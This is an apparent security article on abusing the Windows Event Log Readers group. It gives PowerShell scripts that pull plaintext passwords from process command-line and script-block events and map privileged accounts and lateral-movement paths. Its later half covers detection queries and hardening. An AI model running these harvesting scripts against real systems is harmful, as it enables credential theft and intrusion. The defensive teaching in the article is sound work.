Skip to Content
Event Log Readers group exploitation showing credential harvesting from Windows event logs

Event Log Readers Group Exploitation

Abusing Event Log Readers membership on Windows to pull credentials from process command lines and script blocks, and to map privileged accounts and lateral movement from the Security log.

Jan 19, 2026
Updated Nov 22, 2026
30 min read

Event Log Readers is a built-in local group that gets read access to the event logs on a machine, including the Security log. Admins hand it out because it sounds read-only and harmless. In practice the Security and PowerShell logs on a busy server often hold passwords typed on command lines, admin scripts with hardcoded credentials, and a record of which privileged accounts log on from where. If you land as a member, read the logs before you do anything louder.

What the logs hold

Process command lines (4688), PowerShell script blocks (4104), logons (4624, 4672, 4648), scheduled task registrations and service installs all end up in logs this group can read. Reading them generates no alert on a default Windows install, because read access to event logs is not audited.

The Event Log Readers group

What the group grants

Event Log Readers was added in Windows Vista and Windows Server 2008. Members can read event logs through the Windows Event Log service. They cannot clear logs, write to them or change log settings.

Membership gives read access to:

  • the Security, Application, System and Setup logs
  • custom application logs
  • the PowerShell operational logs and the other Microsoft-Windows-* channels
  • the same logs on remote hosts where the account is a member of the group there

The group is empty by default. Its well-known SID is S-1-5-32-573.

Who ends up in it

You will usually find one of these in the group:

  1. Security staff: SOC analysts reviewing alerts, incident responders, compliance auditors.
  2. Support staff who need to troubleshoot without local admin: application support, help desk.
  3. Service accounts for SIEM collectors, log forwarders, monitoring platforms and backup software.
  4. Developers debugging an application on a production box.

Why it gets handed out

Teams treat the group as safe to grant widely because it is "read-only". That ignores what the logs contain. A help desk account in Event Log Readers on a file server can often read the passwords admins typed on that server.

What the logs contain

Security log

The Security log records whatever the audit policy tells it to. These events are the useful ones.

Event ID 4688: process creation

With process creation auditing on, 4688 records:

  • process name and path
  • the full command line, if "Include command line in process creation events" is enabled, so any password passed as an argument
  • the parent process
  • the account that started the process
  • process ID and creation time

Typical finds:

Process Command Line: net use Z: \\fileserver\share /user:administrator P@ssw0rd123!
Process Command Line: sqlcmd -S dbserver -U sa -P DBPassword2023!
Process Command Line: psexec.exe \\target -u admin -p SecretPass123 cmd.exe

Event ID 4624: successful logon

4624 records the account name and domain, the logon type (Interactive, Network, RemoteInteractive and so on), the source address, the logon process and authentication package, and a logon GUID you can match against other events.

From it you can see when privileged accounts log on and from which hosts, which service accounts are in use, and which machines admins connect from.

Event ID 4625: failed logon

4625 records the account name that was tried, the failure reason and status code (bad password, disabled account and so on) and the source address.

Failures for real usernames confirm those accounts exist. You also see locked-out accounts and which hosts handle authentication.

Event ID 4672: special privileges assigned

4672 fires when an account with sensitive privileges logs on. It records the account name, the logon ID and the list of sensitive privileges assigned to that logon, such as SeDebugPrivilege, SeTakeOwnershipPrivilege, SeBackupPrivilege, SeRestorePrivilege and SeImpersonatePrivilege. It is a quick list of who is effectively an admin on the box.

Event ID 4648: logon with explicit credentials

4648 fires when a process uses alternate credentials, as with RunAs. It records the account doing it, the target account, the target server and the process.

This shows credential reuse, jump servers, and which systems admins move between.

Application and System logs

The Application log has application errors that expose file paths and configuration, database connection failures that sometimes include the connection string, and whatever third-party software chooses to write.

The System log records service installations (7045), driver loads, startup and shutdown, and hardware errors.

PowerShell operational log

Microsoft-Windows-PowerShell/Operational holds:

  • Event ID 4103: module logging (pipeline execution details)
  • Event ID 4104: script block logging (the script text)
  • Event IDs 4105 and 4106: script block invocation start and stop, only when invocation logging is enabled

Script block logging

Event 4104 stores the text of the script blocks PowerShell ran. Admin scripts with hardcoded passwords, API keys and server names end up here verbatim.

A script like this lands in 4104 as written:

# Script Block Logging captures this script execution
$password = ConvertTo-SecureString "Winter2024!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("CORP\administrator", $password)
Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock { Get-ADUser -Filter * }

Task Scheduler log

Microsoft-Windows-TaskScheduler/Operational has task registration (106) with the task definition, task process creation (129), and action completion (201).

Scheduled tasks often run as privileged accounts, and their registration events tell you which ones.

Enumeration

Confirm membership and access

Step 1: Check local group membership

# Check current user's group membership
whoami /groups

# Specifically check for Event Log Readers
net localgroup "Event Log Readers"

# PowerShell alternative
Get-LocalGroupMember -Group "Event Log Readers"

Example output:

Alias name     Event Log Readers
Comment        Members of this group can read event logs from local machine

Members
-------------------------------------------------------------------------------
CORP\helpdesk
CORP\monitoring_svc
CORP\john.smith
The command completed successfully.

Step 2: Check log access

Try to read the Security log:

# Attempt to query security log
Get-WinEvent -LogName Security -MaxEvents 10

# Check available logs
Get-WinEvent -ListLog * | Select-Object LogName, RecordCount, IsEnabled | Where-Object {$_.RecordCount -gt 0}

If you get events back instead of "access denied", you can read the log.

Step 3: Check the audit policy

The audit policy tells you what is being recorded and therefore what is worth searching for:

# Check current audit policy
auditpol /get /category:*

# PowerShell alternative for detailed view
Get-AuditPolicy -Category * -SubCategory * | Format-Table -AutoSize

Remote event log access

Membership in Event Log Readers on another host lets you read its logs remotely:

# Query remote security log
Get-WinEvent -ComputerName SERVER01 -LogName Security -MaxEvents 100 -Credential (Get-Credential)

# Using wevtutil for remote access
wevtutil qe Security /r:SERVER01 /u:CORP\user /p:password /f:text /c:100

# Check remote log configuration
Get-WinEvent -ListLog * -ComputerName SERVER01 -Credential (Get-Credential)

Remote access requirements

Remote reads need:

  • Event Log Readers membership on the target
  • RPC reachable on the target (Get-WinEvent -ComputerName and wevtutil /r use the Event Log RPC interface, not WinRM)
  • WinRM only if you query through PowerShell remoting instead
  • firewall rules that allow the traffic (the "Remote Event Log Management" rule group)

Harvesting credentials

Process command lines

Event 4688 with command line logging is where most credentials turn up. In the 4688 event, Properties[1] is the subject account, Properties[5] the new process name and Properties[8] the command line.

Filter with Get-WinEvent and match common credential patterns:

# Search for common credential patterns in command lines
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} -MaxEvents 10000 |
    Where-Object {
        $_.Properties[8].Value -match '(password|passwd|pwd|pass|/p:|/user:|credential|secret|token|key|api_key)' -or
        $_.Properties[8].Value -match '(-p\s+\S+|-password\s+\S+|--password=\S+)'
    } |
    Select-Object TimeCreated,
        @{Name='User';Expression={$_.Properties[1].Value}},
        @{Name='Process';Expression={$_.Properties[5].Value}},
        @{Name='CommandLine';Expression={$_.Properties[8].Value}} |
    Format-Table -Wrap -AutoSize

Target tools that take passwords as arguments:

# Search for credentials in specific tools
$patterns = @(
    'net use.*password',
    'sqlcmd.*-P',
    'psexec.*-p',
    'runas.*password',
    'invoke-command.*-credential',
    'new-psdrive.*password',
    'cmdkey.*pass',
    'reg add.*password',
    'schtasks.*password'
)

$regexPattern = ($patterns -join '|')

Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} -MaxEvents 50000 |
    Where-Object { $_.Properties[8].Value -match $regexPattern } |
    Select-Object TimeCreated,
        @{Name='Account';Expression={$_.Properties[1].Value}},
        @{Name='CommandLine';Expression={$_.Properties[8].Value}} |
    Export-Csv -Path C:\Temp\credentials_found.csv -NoTypeInformation

Pull net use commands and split out the account and password:

# Specifically target net use commands with credentials
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} -MaxEvents 100000 |
    Where-Object { $_.Properties[8].Value -like '*net use*' -and $_.Properties[8].Value -like '*/user:*' } |
    ForEach-Object {
        $cmdLine = $_.Properties[8].Value

        # Attempt to parse username and password
        if ($cmdLine -match '/user:(\S+)\s+(\S+)') {
            [PSCustomObject]@{
                Time = $_.TimeCreated
                User = $_.Properties[1].Value
                TargetAccount = $Matches[1]
                PossiblePassword = $Matches[2]
                FullCommandLine = $cmdLine
            }
        }
    } | Format-Table -AutoSize

PowerShell script blocks

Event 4104 often holds whole admin scripts, credentials included. In 4104, Properties[2] is the script block text.

# Search PowerShell logs for credential patterns
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    ID = 4104
} -MaxEvents 10000 |
    Where-Object {
        $scriptBlock = $_.Properties[2].Value
        $scriptBlock -match '(ConvertTo-SecureString|PSCredential|password\s*=|Get-Credential|username\s*=)' -and
        $scriptBlock -match '(-AsPlainText|-Force|ConvertFrom-SecureString)'
    } |
    Select-Object TimeCreated,
        @{Name='ScriptBlock';Expression={
            $_.Properties[2].Value.Substring(0, [Math]::Min(2000, $_.Properties[2].Value.Length))
        }} |
    Out-GridView -Title "Potentially Sensitive PowerShell Scripts"

To pull plaintext passwords passed to ConvertTo-SecureString:

# Extract PSCredential object creations with plaintext passwords
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} -MaxEvents 50000 |
    ForEach-Object {
        $scriptBlock = $_.Properties[2].Value

        # Pattern: $password = ConvertTo-SecureString "Password123" -AsPlainText -Force
        if ($scriptBlock -match 'ConvertTo-SecureString\s+"([^"]+)"\s+-AsPlainText') {
            $extractedPassword = $Matches[1]

            # Try to find associated username
            $username = if ($scriptBlock -match '(username|user|account)\s*=\s*"([^"]+)"') {
                $Matches[2]
            } else {
                'Unknown'
            }

            [PSCustomObject]@{
                Timestamp = $_.TimeCreated
                Username = $username
                Password = $extractedPassword
                FullScript = $scriptBlock.Substring(0, [Math]::Min(500, $scriptBlock.Length))
            }
        }
    } | Format-Table -Wrap -AutoSize

Scheduled tasks

Task registration events show which account a task runs as, and the task XML:

# Search Task Scheduler logs for task registration with credentials
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-TaskScheduler/Operational'
    ID = 106  # Task registered
} -MaxEvents 5000 |
    ForEach-Object {
        $xml = [xml]$_.ToXml()
        $taskName = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'TaskName'} | Select-Object -ExpandProperty '#text'
        $userName = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'UserName'} | Select-Object -ExpandProperty '#text'

        [PSCustomObject]@{
            Time = $_.TimeCreated
            TaskName = $taskName
            RunAsUser = $userName
            TaskXML = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'TaskXml'} | Select-Object -ExpandProperty '#text'
        }
    } |
    Where-Object { $_.RunAsUser -and $_.RunAsUser -notlike 'S-1-5-*' } |
    Format-List

Reconnaissance from the logs

Privileged accounts

Group 4672 events by account to see who gets admin-level privileges on the host and how often:

# Identify accounts with special privileges
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4672} -MaxEvents 10000 |
    Select-Object TimeCreated,
        @{Name='Account';Expression={$_.Properties[1].Value}},
        @{Name='Domain';Expression={$_.Properties[2].Value}},
        @{Name='LogonID';Expression={$_.Properties[3].Value}},
        @{Name='Privileges';Expression={
            ($_.Properties[4].Value -split '\s+') -join ', '
        }} |
    Group-Object Account |
    Select-Object Name, Count,
        @{Name='Privileges';Expression={
            $_.Group[0].Privileges
        }} |
    Sort-Object Count -Descending |
    Format-Table -AutoSize

Service accounts

Service logons (type 5) list the service accounts in use. These often have more rights than they need and passwords that never change.

# Find service account logons (Type 5 = Service)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} -MaxEvents 20000 |
    Where-Object {$_.Properties[8].Value -eq 5} |  # Logon Type 5 = Service
    Select-Object TimeCreated,
        @{Name='Account';Expression={$_.Properties[5].Value}},
        @{Name='Domain';Expression={$_.Properties[6].Value}},
        @{Name='LogonType';Expression={'Service'}},
        @{Name='ProcessName';Expression={$_.Properties[17].Value}} |
    Group-Object Account |
    Select-Object Name, Count |
    Sort-Object Count -Descending |
    Format-Table -AutoSize

Lateral movement paths

Network (3) and RemoteInteractive (10) logons show which accounts connect to this host and from where:

# Detect potential lateral movement (Network logons with admin privileges)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} -MaxEvents 50000 |
    Where-Object {
        $logonType = $_.Properties[8].Value
        $account = $_.Properties[5].Value
        # Network logon (3) or RemoteInteractive (10)
        ($logonType -eq 3 -or $logonType -eq 10) -and
        $account -notlike '*$' -and  # Exclude computer accounts
        $account -ne 'ANONYMOUS LOGON'
    } |
    Select-Object TimeCreated,
        @{Name='Account';Expression={$_.Properties[5].Value}},
        @{Name='SourceIP';Expression={$_.Properties[18].Value}},
        @{Name='LogonType';Expression={
            switch ($_.Properties[8].Value) {
                3 {'Network'}
                10 {'RemoteInteractive'}
                default {$_.Properties[8].Value}
            }
        }},
        @{Name='TargetComputer';Expression={$env:COMPUTERNAME}} |
    Group-Object Account, SourceIP |
    Select-Object @{Name='Account';Expression={$_.Group[0].Account}},
        @{Name='SourceIP';Expression={$_.Group[0].SourceIP}},
        Count,
        @{Name='FirstSeen';Expression={($_.Group | Measure-Object -Property TimeCreated -Minimum).Minimum}},
        @{Name='LastSeen';Expression={($_.Group | Measure-Object -Property TimeCreated -Maximum).Maximum}} |
    Sort-Object Count -Descending |
    Format-Table -AutoSize

Installed services

Event 7045 records each service install with its image path and run-as account:

# Find service installations
Get-WinEvent -FilterHashtable @{LogName='System'; ID=7045} -MaxEvents 5000 |
    Select-Object TimeCreated,
        @{Name='ServiceName';Expression={$_.Properties[0].Value}},
        @{Name='ImagePath';Expression={$_.Properties[1].Value}},
        @{Name='ServiceType';Expression={$_.Properties[2].Value}},
        @{Name='StartType';Expression={$_.Properties[3].Value}},
        @{Name='AccountName';Expression={$_.Properties[4].Value}} |
    Format-Table -Wrap -AutoSize

Detection

Spotting log harvesting

Windows does not audit read access to event logs, so you detect the tools and the patterns instead.

What to look for

Reading logs is normal for this group. The signs of harvesting are in volume, the event IDs queried, and who is doing it.

Patterns worth alerting on:

  1. Volume: tens of thousands of events pulled in a short window, scripted queries, or reads across the whole log history.
  2. Targeting: filters on 4688 command lines, the PowerShell operational log or the Task Scheduler log.
  3. Timing and identity: queries outside working hours, or from accounts that rarely or never read logs before.
  4. Sequence: service accounts querying logs, log queries followed by lateral movement, or exported .evtx files copied to shares or removable media.

Process auditing

Watch 4688 for the tools used to query logs: wevtutil.exe, powershell.exe or pwsh.exe running Get-WinEvent, and any custom collectors.

// Example KQL query for Defender/Sentinel
SecurityEvent
| where EventID == 4688
| where NewProcessName endswith "\\wevtutil.exe" or
        NewProcessName endswith "\\powershell.exe" or
        NewProcessName endswith "\\pwsh.exe"
| where CommandLine contains "Get-WinEvent" or
        CommandLine contains "wevtutil qe" or
        CommandLine contains "Security" or
        CommandLine contains "4688"
| where SubjectUserName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| project TimeGenerated, Computer, SubjectUserName, NewProcessName, CommandLine, ParentProcessName
| summarize Count = count(),
            FirstSeen = min(TimeGenerated),
            LastSeen = max(TimeGenerated),
            CommandLines = make_set(CommandLine, 10)
    by Computer, SubjectUserName
| where Count > 10  // High volume queries

Script block logging

Look for log queries in 4104:

Event
| where EventLog == "Microsoft-Windows-PowerShell/Operational"
| where EventID == 4104  // Script Block Logging
| where EventData contains "Get-WinEvent" or EventData contains "FilterHashtable"
| extend ScriptBlock = tostring(parse_xml(EventData).EventData.Data)
| where ScriptBlock contains "Security" or ScriptBlock contains "4688"
| project TimeGenerated, Computer, UserName, ScriptBlock

Remote queries

For queries made over PowerShell remoting, correlate wsmprovhost.exe starts with network logons:

// Detect remote event log queries via WinRM
SecurityEvent
| where EventID == 4688
| where NewProcessName endswith "\\wsmprovhost.exe"  // WinRM provider host
| where ParentProcessName endswith "\\svchost.exe"
| join kind=inner (
    SecurityEvent
    | where EventID == 4624  // Logon
    | where LogonType == 3  // Network logon
    | project LogonTime=TimeGenerated, Computer, TargetUserName, IpAddress
) on Computer
| where TimeGenerated >= LogonTime and TimeGenerated <= (LogonTime + 5m)
| project LogonTime, TimeGenerated, Computer, TargetUserName, IpAddress, CommandLine

Baselining

Identify legitimate readers

List the accounts and systems that read logs for a real reason: SIEM collectors, monitoring service accounts, SOC analysts, backup software.

Record normal query patterns

Track how many events each one reads, how often, at what time of day, and which event IDs.

Alert on deviations

Alert when an account reads logs for the first time, when volume jumps well above its baseline, when queries come at unusual hours, or when they come from an unexpected source host.

Hardening

Restrict membership

Step 1: Audit current membership

# List current members
Get-LocalGroupMember -Group "Event Log Readers"

# Check across domain
Get-ADGroupMember -Identity "Event Log Readers" -Server $DC

# Export for review
Get-LocalGroupMember -Group "Event Log Readers" |
    Export-Csv -Path C:\Temp\EventLogReaders_Audit.csv -NoTypeInformation

Step 2: Remove members who do not need it

# Remove specific user
Remove-LocalGroupMember -Group "Event Log Readers" -Member "CORP\john.smith"

# Remove all non-service accounts
Get-LocalGroupMember -Group "Event Log Readers" |
    Where-Object {$_.Name -notlike '*svc*' -and $_.Name -notlike '*service*'} |
    ForEach-Object {
        Remove-LocalGroupMember -Group "Event Log Readers" -Member $_.Name
        Write-Host "Removed: $($_.Name)"
    }

Step 3: Grant access only when needed

For people who need log access for a task, add them for a fixed window and remove them automatically:

function Grant-TemporaryLogAccess {
    param(
        [string]$UserName,
        [int]$Hours = 4
    )

    # Add to Event Log Readers
    Add-LocalGroupMember -Group "Event Log Readers" -Member $UserName
    Write-Host "[+] Granted Event Log Readers to $UserName for $Hours hours"

    # Schedule automatic removal
    $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -Command `"Remove-LocalGroupMember -Group 'Event Log Readers' -Member '$UserName'`""
    $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddHours($Hours)
    $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest

    Register-ScheduledTask -TaskName "RemoveLogAccess_$($UserName.Replace('\','_'))" `
        -Action $action `
        -Trigger $trigger `
        -Principal $principal `
        -Force

    Write-Host "[+] Scheduled automatic removal at $((Get-Date).AddHours($Hours))"
}

# Usage
Grant-TemporaryLogAccess -UserName "CORP\helpdesk" -Hours 2

Turning off command line logging

If command lines expose too much, the blunt option shown here stops auditing process creation altogether. Clearing the "Include command line in process creation events" policy is the narrower switch.

# Disable process command line auditing (not recommended - reduces visibility)
auditpol /set /subcategory:"Process Creation" /success:disable

# Better: Implement credential management best practices to avoid CLI passwords

Trade-off

Turning off command line logging blinds incident response. Fix the cause instead: keep secrets off command lines.

Keep credentials off command lines

Use integrated authentication where the tool supports it:

# Bad: Credentials in command line
sqlcmd -S server -U sa -P password123

# Good: Use integrated authentication
sqlcmd -S server -E

Use Credential Manager:

# Store credentials securely
cmdkey /add:server /user:admin /pass:password123

# Use stored credentials
net use \\server\share /user:admin /savecred

Use DPAPI-protected credential files in PowerShell:

# Export encrypted credential (user-specific, machine-specific)
$cred = Get-Credential
$cred | Export-Clixml -Path C:\secure\cred.xml

# Import and use
$cred = Import-Clixml -Path C:\secure\cred.xml
Invoke-Command -ComputerName server -Credential $cred -ScriptBlock {...}

Centralise logs

With logs forwarded to a collector, fewer people need local read access:

Configure Windows Event Forwarding (WEF)

# On collector server
wecutil qc /q

# Create subscription
$subscription = @"
<Subscription xmlns="http://schemas.microsoft.com/2006/03/windows/events/subscription">
    <SubscriptionId>SecurityLogs</SubscriptionId>
    <SubscriptionType>SourceInitiated</SubscriptionType>
    <Description>Forward security logs</Description>
    <Enabled>true</Enabled>
    <Query><![CDATA[
        <QueryList>
            <Query Id="0">
                <Select Path="Security">*[System[(EventID=4624 or EventID=4625 or EventID=4688 or EventID=4672)]]</Select>
            </Query>
        </QueryList>
    ]]></Query>
</Subscription>
"@

$subscription | Out-File C:\Temp\subscription.xml
wecutil cs C:\Temp\subscription.xml

Configure source systems

# Enable event forwarding
winrm quickconfig -q

# Add collector server
wecutil qc /q

Result

Analysts read logs on the collector instead of on each host, so Event Log Readers membership on servers can shrink to the forwarding setup.

Audit configuration

Audit what you need for detection, and decide deliberately whether to record command lines:

# Enable security auditing
auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Account Management" /success:enable /failure:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
auditpol /set /category:"Policy Change" /success:enable /failure:enable
auditpol /set /category:"Privilege Use" /success:enable /failure:enable

# Enable process creation auditing (but consider command line implications)
auditpol /set /subcategory:"Process Creation" /success:enable

# Configure PowerShell logging
$psLogging = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
New-Item -Path $psLogging -Force
Set-ItemProperty -Path $psLogging -Name "EnableScriptBlockLogging" -Value 1

# Module logging
$moduleLogging = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging"
New-Item -Path $moduleLogging -Force
Set-ItemProperty -Path $moduleLogging -Name "EnableModuleLogging" -Value 1

Defence checklist

  • Audit Event Log Readers membership on every host
  • Remove accounts that do not need it
  • Grant time-limited access for one-off troubleshooting
  • Enable PowerShell script block logging
  • Configure process creation auditing (Event ID 4688)
  • Baseline normal event log access
  • Alert on wevtutil.exe and Get-WinEvent use by unexpected accounts
  • Forward logs with Windows Event Forwarding (WEF)
  • Train administrators to keep credentials off command lines and out of scripts
  • Move secrets into a vault or secret manager
  • Review 4688 and 4104 events periodically for exposed credentials
  • Document who needs event log access and why

References

MITRE ATT&CK techniques

CWE entries

Microsoft documentation

Other resources

On this page